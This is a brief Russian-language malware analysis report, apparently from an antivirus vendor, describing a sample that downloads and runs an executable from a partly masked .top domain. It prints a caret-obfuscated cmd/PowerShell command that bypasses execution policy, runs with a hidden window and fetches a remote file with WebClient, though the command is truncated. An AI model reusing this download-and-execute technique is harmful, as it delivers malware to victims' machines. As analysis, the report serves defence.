Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://ho###ster.top/avd.hls как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^oWe^rsHELl^.ex^e^ -exE^cu^Tio^npO^LiCy^ bY^pAs^S ^-n^Op^R^ofiLE ^-^wiNd^oWSTY^lE^ hiDd^en (^NE^W-O^bjECt S^Yste^M^.N^E^T.^wEBClIe^N^t).^D^O^w^nLOa^dFi^l^E^('http://ho###ste...
Сетевая активность
UDP
- DNS ASK ho###ster.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^oWe^rsHELl^.ex^e^ -exE^cu^Tio^npO^LiCy^ bY^pAs^S ^-n^Op^R^ofiLE ^-^wiNd^oWSTY^lE^ hiDd^en (^NE^W-O^bjECt S^Yste^M^.N^E^T.^wEBClIe^N^t).^D^O^w^nLOa^dFi^l^E^('http://ho###ste...' (со скрытым окном)
